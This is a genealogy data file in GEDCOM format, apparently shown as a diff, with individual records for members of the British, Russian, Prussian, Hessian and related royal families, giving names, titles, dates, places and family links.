+1 NAME Alexis Nicolaievich /Romanov/
+1 TITL Tsarevich
+1 SEX M
+1 BIRT
+2 DATE 12 AUG 1904
+2 PLAC Peterhof,Near,St. Petersburg,Russia
+1 DEAT
+2 DATE 18 JUL 1918
+2 PLAC Ekaterinburg,,,Russia
+1 FAMC @F4@
+0 @I51@ INDI
+1 NAME Elizabeth Angela Marguerite/Bowes-Lyon/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE  4 AUG 1900
+2 PLAC ,,London,England
+1 CHR
+2 DATE 23 SEP 1900
+1 FAMS @F12@
+1 FAMC @F46@
+0 @I52@ INDI
+1 NAME Elizabeth_II Alexandra Mary/Windsor/
+1 TITL Queen of England
+1 SEX F
+1 BIRT
+2 DATE 21 APR 1926
+2 PLAC 17 Bruton St.,London,W1,England
+1 FAMS @F14@
+1 FAMC @F12@
+0 @I53@ INDI
+1 NAME Margaret Rose /Windsor/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 21 AUG 1930
+2 PLAC Glamis Castle,,Angus,Scotland
+1 FAMS @F13@
+1 FAMC @F12@
+0 @I54@ INDI
+1 NAME Anthony Charles Robert/Armstrong-Jones/
+1 TITL Earl of Snowdon
+1 SEX M
+1 BIRT
+2 DATE  7 MAR 1930
+1 FAMS @F13@
+1 FAMS @F1410@
+0 @I55@ INDI
+1 NAME David Albert Charles/Armstrong-Jones/
+1 TITL Vicount Linley
+1 SEX M
+1 BIRT
+2 DATE  3 NOV 1961
+1 FAMC @F13@
+0 @I56@ INDI
+1 NAME Sarah Frances Elizabeth/Armstrong-Jones/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE  1 MAY 1964
+1 FAMC @F13@
+0 @I57@ INDI
+1 NAME Philip  /Mountbatten/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE 10 JUN 1921
+2 PLAC Isle of Kerkira,Mon Repos,Corfu,Greece
+1 FAMS @F14@
+1 FAMC @F28@
+0 @I58@ INDI
+1 NAME Charles Philip Arthur/Windsor/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE 14 NOV 1948
+2 PLAC Buckingham,Palace,London,England
+1 CHR
+2 DATE 15 DEC 1948
+2 PLAC Buckingham,Palace,Music Room,England
+1 FAMS @F16@
+1 FAMC @F14@
+0 @I59@ INDI
+1 NAME Anne Elizabeth Alice/Windsor/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 15 AUG 1950
+2 PLAC Clarence House,St. James,,England
+1 CHR
+2 DATE 21 OCT 1950
+2 PLAC ,,,England
+1 FAMS @F15@
+1 FAMC @F14@
+0 @I60@ INDI
+1 NAME Andrew Albert Christian/Windsor/
+1 TITL Duke of York
+1 SEX M
+1 BIRT
+2 DATE 19 FEB 1960
+2 PLAC Belgian Suite,Buckingham,Palace,England
+1 FAMS @F53@
+1 FAMC @F14@
+0 @I61@ INDI
+1 NAME Edward Anthony Richard/Windsor/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE 10 MAR 1964
+2 PLAC Buckingham,Palace,London,England
+1 CHR
+2 DATE  2 MAY 1964
+1 FAMC @F14@
+0 @I62@ INDI
+1 NAME Mark Anthony Peter/Phillips/
+1 TITL Captain
+1 SEX M
+1 BIRT
+2 DATE 22 SEP 1948
+1 FAMS @F15@
+1 FAMC @F1405@
+0 @I63@ INDI
+1 NAME Peter Mark Andrew/Phillips/
+1 SEX M
+1 BIRT
+2 DATE 15 NOV 1977
+2 PLAC St. Mary's Hosp.,Paddington,London,England
+1 CHR
+2 DATE 22 DEC 1977
+2 PLAC Music Room,Buckingham,Palace,England
+1 FAMC @F15@
+0 @I64@ INDI
+1 NAME Zara Anne Elizabeth/Phillips/
+1 SEX F
+1 BIRT
+2 DATE 15 MAY 1981
+2 PLAC St. Marys Hosp.,Paddington,London,England
+1 FAMC @F15@
+0 @I65@ INDI
+1 NAME Diana Frances /Spencer/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE  1 JUL 1961
+2 PLAC Park House,Sandringham,Norfolk,England
+1 CHR
+2 PLAC Sandringham,Church,Norfolk,England
+1 FAMS @F16@
+1 FAMC @F78@
+0 @I66@ INDI
+1 NAME Marina of_Greece //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 30 NOV 1906
+2 PLAC Athens,Greece
+1 DEAT
+2 DATE        1968
+2 PLAC Kensington,Palace,,England
+1 FAMS @F17@
+1 FAMC @F76@
+0 @I67@ INDI
+1 NAME Edward George Nicholas/Windsor/
+1 TITL Duke of Kent
+1 SEX M
+1 BIRT
+2 DATE  9 SEP 1935
+2 PLAC 3 Belgrave Sq.,,England
+1 FAMS @F31@
+1 FAMC @F17@
+0 @I68@ INDI
+1 NAME Henry George Charles/Lascelles/
+1 TITL Viscount
+1 SEX M
+1 BIRT
+2 DATE        1882
+1 DEAT
+2 DATE        1947
+1 FAMS @F18@
+0 @I69@ INDI
+1 NAME Alice Christabel /Montagu-Douglas/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE 25 DEC 1901
+2 PLAC London,England
+1 FAMS @F19@
+1 FAMC @F296@
+0 @I70@ INDI
+1 NAME Bessiewallis  /Warfield/
+1 SEX F
+1 BIRT
+2 DATE        1896
+2 PLAC ,,,U.S.A.
+1 DEAT
+2 DATE 24 APR 1986
+2 PLAC Paris,,,France
+1 BURI
+2 PLAC Frogmore,Windsor,Berkshire,England
+1 FAMS @F20@
+1 FAMS @F24@
+1 FAMS @F25@
+1 FAMC @F55@
+0 @I71@ INDI
+1 NAME Charles Haakon_VII //
+1 TITL King of Norway
+1 SEX M
+1 BIRT
+2 DATE        1872
+2 PLAC Charlottenlund,Denmark
+1 DEAT
+2 DATE        1957
+1 FAMS @F21@
+1 FAMC @F218@
+0 @I72@ INDI
+1 NAME Henry of_Prussia //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1862
+1 DEAT
+2 DATE        1929
+1 FAMS @F22@
+1 FAMC @F3@
+0 @I73@ INDI
+1 NAME Sigismund  //
+1 SEX M
+1 BIRT
+2 DATE        1864
+1 DEAT
+2 DATE        1866
+1 FAMC @F3@
+0 @I74@ INDI
+1 NAME Victoria  //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1866
+1 DEAT
+2 DATE        1929
+1 FAMS @F138@
+1 FAMS @F442@
+1 FAMC @F3@
+0 @I75@ INDI
+1 NAME Waldemar  //
+1 SEX M
+1 BIRT
+2 DATE        1868
+1 DEAT
+2 DATE        1879
+1 FAMC @F3@
+0 @I76@ INDI
+1 NAME Sophie of_Prussia //
+1 TITL Queen of Greece
+1 SEX F
+1 BIRT
+2 DATE 14 JUN 1870
+2 PLAC Potsdam,Germany
+1 DEAT
+2 DATE 13 JAN 1932
+2 PLAC Frankfurt,Germany
+1 BURI
+2 DATE    NOV 1936
+2 PLAC Tatoi,Near Athens,Greece
+1 FAMS @F139@
+1 FAMC @F3@
+0 @I77@ INDI
+1 NAME Charlotte of_Saxe- Meiningen//
+1 TITL Duchess
+1 SEX F
+1 BIRT
+2 DATE        1860
+1 DEAT
+2 DATE        1919
+1 FAMS @F137@
+1 FAMC @F3@
+0 @I78@ INDI
+1 NAME Margarete of_Hesse //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1872
+1 DEAT
+2 DATE        1954
+1 FAMS @F140@
+1 FAMC @F3@
+0 @I79@ INDI
+1 NAME Irene of_Hesse //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1866
+1 DEAT
+2 DATE        1953
+1 FAMS @F22@
+1 FAMC @F8@
+0 @I80@ INDI
+1 NAME Waldemar  //
+1 SEX M
+1 BIRT
+2 DATE        1889
+1 DEAT
+2 DATE        1945
+1 FAMC @F22@
+0 @I81@ INDI
+1 NAME Henry  //
+1 SEX M
+1 BIRT
+2 DATE        1900
+1 DEAT
+2 DATE        1904
+1 FAMC @F22@
+0 @I82@ INDI
+1 NAME Child_#3  //
+1 SEX M
+1 FAMC @F22@
+0 @I83@ INDI
+1 NAME Ernest Louis of_Hesse//
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1868
+1 DEAT
+2 DATE        1937
+1 FAMS @F49@
+1 FAMS @F157@
+1 FAMC @F8@
+0 @I84@ INDI
+1 NAME Elizabeth "Ella" //
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE        1864
+1 DEAT
+2 DATE 17 JUL 1918
+2 PLAC Alapayevsk,Ural Mts.,,Russia
+1 FAMS @F144@
+1 FAMC @F8@
+0 @I85@ INDI
+1 NAME Mary "May" //
+1 SEX F
+1 BIRT
+2 DATE        1874
+1 DEAT
+2 DATE        1878
+2 PLAC Hesse-Darmstadt,Palace,,Germany
+1 FAMC @F8@
+0 @I86@ INDI
+1 NAME Frederick  //
+1 SEX M
+1 BIRT
+2 DATE        1870
+1 DEAT
+2 DATE        1873
+1 FAMC @F8@
+0 @I87@ INDI
+1 NAME William Henry Andrew/Windsor/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE 18 DEC 1941
+2 PLAC Hadley Common,Hertfordshire,England
+1 CHR
+2 DATE 22 FEB 1942
+2 PLAC Private Chapel,Windsor Castle,Berkshire,England
+1 DEAT
+2 DATE 28 AUG 1972
+2 PLAC Near,Wolverhampton,England
+1 FAMC @F19@
+0 @I88@ INDI
+1 NAME Richard Alexander Walter/Windsor/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE 26 AUG 1944
+2 PLAC Hadley Common,Hertfordshire,England
+1 CHR
+2 DATE 20 OCT 1944
+2 PLAC Private Chapel,Windsor Castle,Berkshire,England
+1 FAMS @F23@
+1 FAMC @F19@
+0 @I89@ INDI
+1 NAME Birgitte of_Denmark /von_Deurs/
+1 TITL Duchess
+1 SEX F
+1 BIRT
+2 DATE        1947
+1 FAMS @F23@
+0 @I90@ INDI
+1 NAME Alexander Patrick Gregers//
+1 TITL Earl of Ulster
+1 SEX M
+1 BIRT
+2 DATE 24 OCT 1974
+2 PLAC St. Marys Hosp.,Paddington,London,England
+1 CHR
+2 DATE  9 FEB 1975
+2 PLAC Barnwell Church
+1 FAMC @F23@
+0 @I91@ INDI
+1 NAME Earl Winfield /Spencer/
+1 TITL Jr.
+1 SEX M
+1 FAMS @F24@
+0 @I92@ INDI
+1 NAME Ernest  /Simpson/
+1 SEX M
+1 FAMS @F25@
+0 @I93@ INDI
+1 NAME Frances  /Burke_Roche/
+1 TITL Hon.
+1 SEX F
+1 BIRT
+2 DATE        1936
+1 FAMS @F78@
+1 FAMS @F297@
+1 FAMC @F119@
+0 @I94@ INDI
+1 NAME Marie Alexandrovna //
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE 17 OCT 1853
+2 PLAC St. Petersburg,,,Russia
+1 DEAT
+2 DATE 25 OCT 1920
+2 PLAC Zurich,,,Switzerland
+1 FAMS @F26@
+1 FAMC @F11@
+0 @I95@ INDI
+1 NAME Alfred  //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1874
+1 DEAT
+2 DATE        1899
+1 FAMC @F26@
+0 @I96@ INDI
+1 NAME Marie of_Saxe-Coburg and_Gotha//
+1 TITL Queen of Romania
+1 SEX F
+1 BIRT
+2 DATE 29 OCT 1875
+2 PLAC Eastwell Park,Kent,England
+1 DEAT
+2 DATE 10 JUL 1938
+2 PLAC Castle Pelesch,Sinaia,Romania
+1 FAMS @F100@
+1 FAMC @F26@
+0 @I97@ INDI
+1 NAME Victoria Melita of_Edinburgh//
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE        1876
+2 PLAC Malta
+1 DEAT
+2 DATE        1936
+1 FAMS @F49@
+1 FAMS @F213@
+1 FAMC @F26@
+0 @I98@ INDI
+1 NAME Alexandra  //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1878
+1 DEAT
+2 DATE        1942
+1 FAMS @F961@
+1 FAMC @F26@
+0 @I99@ INDI
+1 NAME Beatrice  //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1884
+1 DEAT
+2 DATE        1966
+1 FAMS @F960@
+1 FAMC @F26@
+0 @I100@ INDI
+1 NAME Louis of_Battenberg //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1854
+1 DEAT
+2 DATE        1921
+1 FAMS @F27@
+1 FAMC @F109@
+0 @I101@ INDI
+1 NAME Alice of_Battenberg //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1885
+1 DEAT
+2 DATE ABT    1969
+2 PLAC Buckingham,Palace,London,England
+1 FAMS @F28@
+1 FAMC @F27@
+0 @I102@ INDI
+1 NAME George  /Mountbatten/
+1 TITL Marquess
+1 SEX M
+1 BIRT
+2 DATE        1892
+1 DEAT
+2 DATE        1938
+1 FAMS @F176@
+1 FAMC @F27@
+0 @I103@ INDI
+1 NAME Louis of_Burma /Mountbatten/
+1 TITL Earl Mountbatten
+1 SEX M
+1 BIRT
+2 DATE        1900
+2 PLAC Windsor,Berkshire,England
+1 DEAT
+2 DATE 27 AUG 1979
+2 PLAC Donegal Bay,County Sligo,Ireland
+1 FAMS @F175@
+1 FAMC @F27@
+0 @I104@ INDI
+1 NAME Andrew of_Greece //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1882
+1 DEAT
+2 DATE        1944
+1 FAMS @F28@
+1 FAMC @F75@
+0 @I105@ INDI
+1 NAME Alexander  /Duff/
+1 TITL Duke of Fife
+1 SEX M
+1 BIRT
+2 DATE        1849
+1 DEAT
+2 DATE        1912
+1 FAMS @F29@
+0 @I106@ INDI
+1 NAME Alexandra  /Windsor/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 25 DEC 1936
+1 FAMS @F30@
+1 FAMC @F17@
+0 @I107@ INDI
+1 NAME Michael  /Windsor/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE  4 JUL 1942
+2 PLAC Coppins,,England
+1 FAMS @F103@
+1 FAMC @F17@
+0 @I108@ INDI
+1 NAME Angus  /Ogilvy/
+1 TITL Hon.
+1 SEX M
+1 BIRT
+2 DATE        1928
+1 FAMS @F30@
+0 @I109@ INDI
+1 NAME James Robert Bruce/Ogilvy/
+1 SEX M
+1 BIRT
+2 DATE 29 FEB 1964
+2 PLAC Thatched House,Lodge,,England
+1 FAMS @F1411@
+1 FAMC @F30@
+0 @I110@ INDI
+1 NAME Marina Victoria Alexandra/Ogilvy/
+1 SEX F
+1 BIRT
+2 DATE 31 JUL 1966
+2 PLAC Thatched House,Lodge,Richmond Park,England
+1 FAMS @F1402@
+1 FAMC @F30@
+0 @I111@ INDI
+1 NAME Katharine  /Worsley/
+1 TITL Duchess of Kent
+1 SEX F
+1 BIRT
+2 DATE        1933
+1 FAMS @F31@
+1 FAMC @F367@
+0 @I112@ INDI
+1 NAME George Philip of_St._Andrews/Windsor/
+1 TITL Earl
+1 SEX M
+1 BIRT
+2 DATE 26 JUN 1962
+1 CHR
+2 DATE 14 SEP 1962
+2 PLAC Buckingham,Palace,Music Room,England
+1 FAMS @F1406@
+1 FAMC @F31@
+0 @I113@ INDI
+1 NAME Helen Marina Lucy/Windsor/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE 28 APR 1964
+1 CHR
+2 DATE 12 MAY 1964
+2 PLAC Private Chapel,Windsor Castle,Berkshire,England
+1 FAMC @F31@
+0 @I114@ INDI
+1 NAME Nicholas Charles Edward/Windsor/
+1 TITL Lord
+1 SEX M
+1 BIRT
+2 DATE 25 JUL 1970
+2 PLAC Kings College,Hospital,Denmark Hill
+1 CHR
+2 PLAC Private Chapel,Windsor Castle,Berkshire,England
+1 FAMC @F31@
+0 @I115@ INDI
+1 NAME William Arthur Philip/Windsor/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE 21 JUN 1982
+2 PLAC St. Mary's Hosp.,Paddington,London,England
+1 CHR
+2 DATE  4 AUG 1982
+2 PLAC Music Room,Buckingham,Palace,England
+1 FAMC @F16@
+0 @I116@ INDI
+1 NAME Henry Charles Albert/Windsor/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE 15 SEP 1984
+2 PLAC St. Mary's Hosp.,Paddington,London,England
+1 FAMC @F16@
+0 @I117@ INDI
+1 NAME (Frederick) Christian Charles//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1831
+1 DEAT
+2 DATE        1917
+1 FAMS @F32@
+0 @I118@ INDI
+1 NAME Marie Louise //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1872
+1 DEAT
+2 DATE        1956
+1 FAMS @F33@
+1 FAMC @F32@
+0 @I119@ INDI
+1 NAME Aribert of_Anhalt //
+1 SEX M
+1 BIRT
+2 DATE        1864
+1 DEAT
+2 DATE        1933
+1 FAMS @F33@
+0 @I120@ INDI
+1 NAME Louise Margaret of_Prussia//
+1 TITL Duchess
+1 SEX F
+1 BIRT
+2 DATE 25 JUN 1860
+2 PLAC Potsdam
+1 DEAT
+2 DATE 14 MAR 1917
+2 PLAC Clarence House,London,,England
+1 BURI
+2 PLAC Frogmore,,,England
+1 FAMS @F34@
+1 FAMC @F68@
+0 @I121@ INDI
+1 NAME Margaret of_Sweden //
+1 TITL Crown Princess
+1 SEX F
+1 BIRT
+2 DATE 15 JAN 1882
+2 PLAC Bagshot Park
+1 DEAT
+2 DATE  1 MAY 1920
+2 PLAC Stockholm,Sweden
+1 FAMS @F35@
+1 FAMC @F34@
+0 @I122@ INDI
+1 NAME Arthur of_Connaught //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1883
+1 DEAT
+2 DATE        1938
+1 FAMS @F36@
+1 FAMC @F34@
+0 @I123@ INDI
+1 NAME Patricia  //
+1 TITL Lady Ramsay
+1 SEX F
+1 BIRT
+2 DATE        1886
+1 DEAT
+2 DATE        1974
+1 FAMS @F37@
+1 FAMC @F34@
+0 @I124@ INDI
+1 NAME Gustav_VI Adolf //
+1 TITL King of Sweden
+1 SEX M
+1 BIRT
+2 DATE 11 NOV 1882
+2 PLAC Stockholm,Sweden
+1 DEAT
+2 DATE 15 SEP 1973
+2 PLAC Helsingborg
+1 BURI
+2 PLAC Royal Cemetery,Haga Castle Park
+1 FAMS @F35@
+1 FAMS @F77@
+1 FAMC @F155@
+0 @I125@ INDI
+1 NAME Alexandra  //
+1 TITL Duchess of Fife
+1 SEX F
+1 BIRT
+2 DATE        1891
+1 DEAT
+2 DATE 26 FEB 1959
+1 BURI
+2 PLAC Mar Lodge,Braemar,Aberdeenshire,England
+1 FAMS @F36@
+1 FAMC @F29@
+0 @I126@ INDI
+1 NAME Alexander  /Ramsay/
+1 TITL Admiral Sir
+1 SEX M
+1 BIRT
+2 DATE        1881
+1 DEAT
+2 DATE        1972
+1 FAMS @F37@
+1 FAMC @F962@
+0 @I127@ INDI
+1 NAME Isabella of_France //
+1 SEX F
+1 BIRT
+2 DATE        1292
+2 PLAC Paris
+1 DEAT
+2 DATE 22 AUG 1358
+2 PLAC Castle Rising,Norfolk,England
+1 BURI
+2 PLAC Grey Friars,Church,London,England
+1 FAMS @F92@
+1 FAMC @F794@
+0 @I128@ INDI
+1 NAME Issue_Unknown  //
+1 SEX M
+0 @I129@ INDI
+1 NAME Charles Edward //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1884
+1 DEAT
+2 DATE        1954
+1 FAMS @F141@
+1 FAMC @F5@
+0 @I130@ INDI
+1 NAME George_III  /Hanover/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE  4 JUN 1738
+2 PLAC Norfolk-House,St. James Square,London,England
+1 DEAT
+2 DATE 29 JAN 1820
+2 PLAC Windsor Castle,Windsor,Berkshire,England
+1 BURI
+2 PLAC St. George Chap.,Windsor Castle,Berkshire,England
+1 REFN 4
+1 FAMS @F39@
+1 FAMC @F105@
+0 @I131@ INDI
+1 NAME (Sophia) Charlotte //
+1 SEX F
+1 BIRT
+2 DATE 19 MAY 1744
+2 PLAC Mirow
+1 DEAT
+2 DATE 17 NOV 1818
+2 PLAC Kew Palace
+1 BURI
+2 PLAC St. George Chap.,Windsor,,England
+1 REFN 5
+1 FAMS @F39@
+1 FAMC @F959@
+0 @I132@ INDI
+1 NAME Adolphus of_Cambridge /Hanover/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1774
+1 DEAT
+2 DATE        1850
+1 FAMS @F40@
+1 FAMC @F39@
+0 @I133@ INDI
+1 NAME Edward Augustus /Hanover/
+1 TITL Duke of Kent
+1 SEX M
+1 BIRT
+2 DATE  2 NOV 1767
+2 PLAC Buckingham House,,London,England
+1 DEAT
+2 DATE 23 JAN 1820
+2 PLAC Sidmouth,Devon,,England
+1 REFN 2
+1 FAMS @F42@
+1 FAMC @F39@
+0 @I134@ INDI
+1 NAME Augusta of_Hesse-Cassel //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1797
+1 DEAT
+2 DATE        1889
+1 FAMS @F40@
+1 FAMC @F97@
+0 @I135@ INDI
+1 NAME Augusta Caroline //
+1 SEX F
+1 BIRT
+2 DATE        1822
+1 DEAT
+2 DATE        1916
+1 FAMS @F89@
+1 FAMC @F40@
+0 @I136@ INDI
+1 NAME Mary Adelaide "Fat_Mary"//
+1 SEX F
+1 BIRT
+2 DATE        1833
+1 DEAT
+2 DATE        1897
+1 FAMS @F41@
+1 FAMC @F40@
+0 @I137@ INDI
+1 NAME Francis  //
+1 TITL Duke of Teck
+1 SEX M
+1 BIRT
+2 DATE        1837
+1 DEAT
+2 DATE        1900
+1 FAMS @F41@
+1 FAMC @F98@
+0 @I138@ INDI
+1 NAME Victoria Mary Louisa//
+1 SEX F
+1 BIRT
+2 DATE 17 AUG 1786
+2 PLAC Coburg
+1 DEAT
+2 DATE 16 MAR 1861
+2 PLAC Frogmore House,Windsor,,England
+1 REFN 3
+1 FAMS @F1409@
+1 FAMS @F42@
+1 FAMC @F1147@
+0 @I139@ INDI
+1 NAME Ernest_I of_Saxe-Coburg- Saalfeld//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1784
+1 DEAT
+2 DATE 29 JAN 1844
+1 FAMS @F43@
+1 FAMS @F1368@
+1 FAMC @F1147@
+0 @I140@ INDI
+1 NAME Louise of_Saxe-Coburg- Altenburg//
+1 SEX F
+1 BIRT
+2 DATE        1800
+2 PLAC Thuringia
+1 DEAT
+2 DATE        1831
+2 PLAC Paris,France
+1 FAMS @F43@
+0 @I141@ INDI
+1 NAME George_IV  /Hanover/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 12 AUG 1762
+2 PLAC ,,London,England
+1 DEAT
+2 DATE 26 JUN 1830
+2 PLAC Windsor Castle,Berkshire,England
+1 FAMS @F44@
+1 FAMS @F45@
+1 FAMC @F39@
+0 @I142@ INDI
+1 NAME Maria Anne /Fitzherbert/
+1 SEX F
+1 BIRT
+2 DATE        1756
+1 DEAT
+2 DATE        1837
+1 FAMS @F44@
+0 @I143@ INDI
+1 NAME Caroline Amelia of_Brunswick//
+1 SEX F
+1 BIRT
+2 DATE        1768
+1 DEAT
+2 DATE        1821
+1 FAMS @F45@
+1 FAMC @F501@
+0 @I144@ INDI
+1 NAME Charlotte Augusta /Hanover/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE  7 JAN 1796
+2 PLAC Carlton House
+1 DEAT
+2 DATE  6 NOV 1817
+2 PLAC Claremont House,Esher,Surrey,England
+1 BURI
+2 PLAC St George Chapel,Windsor,England
+1 FAMS @F80@
+1 FAMC @F45@
+0 @I145@ INDI
+1 NAME Claude George /Bowes-Lyon/
+1 TITL Earl of Strath.
+1 SEX M
+1 BIRT
+2 DATE        1855
+1 DEAT
+2 DATE        1944
+1 FAMS @F46@
+1 FAMC @F56@
+0 @I146@ INDI
+1 NAME Cecilia Nina /Cavendish-Bentin/
+1 TITL Countess of S.
+1 SEX F
+1 BIRT
+2 DATE        1862
+1 DEAT
+2 DATE        1938
+1 FAMS @F46@
+1 FAMC @F71@
+0 @I147@ INDI
+1 NAME Margarita  /Mountbatten/
+1 SEX F
+1 BIRT
+2 DATE        1905
+1 DEAT
+2 DATE        1981
+1 FAMS @F166@
+1 FAMC @F28@
+0 @I148@ INDI
+1 NAME Theodora  /Mountbatten/
+1 SEX F
+1 BIRT
+2 DATE        1906
+1 DEAT
+2 DATE        1960
+1 FAMS @F167@
+1 FAMC @F28@
+0 @I149@ INDI
+1 NAME Vladimir  /Romanov/
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1847
+1 DEAT
+2 DATE        1909
+1 FAMS @F47@
+1 FAMC @F11@
+0 @I150@ INDI
+1 NAME Alexis  /Romanov/
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1850
+1 DEAT
+2 DATE        1908
+1 FAMC @F11@
+0 @I151@ INDI
+1 NAME Serge Alexandrovich /Romanov/
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1857
+1 DEAT
+2 DATE    FEB 1905
+1 FAMS @F144@
+1 FAMC @F11@
+0 @I152@ INDI
+1 NAME Paul Alexandrovich /Romanov/
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1860
+1 DEAT
+2 DATE    JAN 1919
+2 PLAC Fortress of,Peter and Paul,,Russia
+1 FAMS @F50@
+1 FAMS @F499@
+1 FAMC @F11@
+0 @I153@ INDI
+1 NAME George Alexandrovich /Romanov/
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1871
+1 DEAT
+2 DATE    JUL 1899
+2 PLAC Abbas Tuman,Caucasus,Russia
+1 BURI
+2 PLAC Peter and Paul,Cathedral,,Russia
+1 FAMC @F9@
+0 @I154@ INDI
+1 NAME Xenia  /Romanov/
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE        1875
+1 DEAT
+2 DATE 20 APR 1960
+2 PLAC London,England
+1 FAMS @F51@
+1 FAMC @F9@
+0 @I155@ INDI
+1 NAME Michael "Mischa" Alexandrovich/Romanov/
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1878
+1 DEAT
+2 DATE 10 JUL 1918
+2 PLAC Perm,,,Russia
+1 FAMS @F498@
+1 FAMC @F9@
+0 @I156@ INDI
+1 NAME Olga Alexandrovna /Romanov/
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE  1 JUN 1882
+1 DEAT
+2 DATE 24 NOV 1960
+2 PLAC East Toronto,Ontario,,Canada
+1 BURI
+2 DATE 30 NOV 1960
+2 PLAC York Cemetery,Toronto,Ontario,Canada
+1 FAMS @F500@
+1 FAMS @F592@
+1 FAMC @F9@
+0 @I157@ INDI
+1 NAME Marie  /Pavlovna/
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE        1854
+1 DEAT
+2 DATE        1920
+1 FAMS @F47@
+1 FAMC @F1270@
+0 @I158@ INDI
+1 NAME Cyril Vladimirovitch /Romanov/
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1876
+1 DEAT
+2 DATE        1938
+1 FAMS @F213@
+1 FAMC @F47@
+0 @I159@ INDI
+1 NAME Boris  /Romanov/
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1877
+1 DEAT
+2 DATE        1943
+1 FAMS @F1379@
+1 FAMC @F47@
+0 @I160@ INDI
+1 NAME Andrei (Andrew) Vladimirovich/Romanov/
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1879
+1 DEAT
+2 DATE        1956
+1 FAMS @F48@
+1 FAMC @F47@
+0 @I161@ INDI
+1 NAME Mathilde (Maria) /Krzesinska/
+1 SEX F
+1 BIRT
+2 DATE        1872
+1 DEAT
+2 DATE        1971
+1 FAMS @F48@
+1 FAMC @F1380@
+0 @I162@ INDI
+1 NAME Frederick William_III //
+1 TITL King of Prussia
+1 SEX M
+1 BIRT
+2 DATE        1770
+2 PLAC Potsdam,Germany
+1 DEAT
+2 DATE        1840
+1 FAMS @F145@
+1 FAMS @F179@
+1 FAMC @F200@
+0 @I163@ INDI
+1 NAME Alexandra of_Greece //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1870
+1 DEAT
+2 DATE        1891
+1 FAMS @F50@
+1 FAMC @F75@
+0 @I164@ INDI
+1 NAME Dmitri Pavlovich /Romanov/
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1891
+1 DEAT
+2 DATE        1941
+2 PLAC Switzerland
+1 FAMS @F511@
+1 FAMC @F50@
+0 @I165@ INDI
+1 NAME Nicholas  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1850
+1 DEAT
+2 DATE        1918
+1 FAMS @F1267@
+1 FAMC @F112@
+0 @I166@ INDI
+1 NAME Irina  //
+1 SEX F
+1 BIRT
+2 DATE        1895
+1 FAMS @F52@
+1 FAMC @F51@
+0 @I167@ INDI
+1 NAME Felix  /Yussoupov/
+1 SEX M
+1 BIRT
+2 DATE        1887
+1 FAMS @F52@
+0 @I168@ INDI
+1 NAME Sarah Margaret /Ferguson/
+1 TITL Duchess of York
+1 SEX F
+1 BIRT
+2 DATE 15 OCT 1959
+2 PLAC 27 Welbech St.,Marylebone,London,England
+1 FAMS @F53@
+1 FAMC @F54@
+0 @I169@ INDI
+1 NAME Ronald Ivor /Ferguson/
+1 TITL Major
+1 SEX M
+1 BIRT
+2 DATE        1931
+1 FAMS @F54@
+1 FAMS @F1384@
+1 FAMC @F303@
+0 @I170@ INDI
+1 NAME Susan Mary /Wright/
+1 SEX F
+1 BIRT
+2 DATE        1937
+1 FAMS @F54@
+1 FAMS @F311@
+1 FAMC @F309@
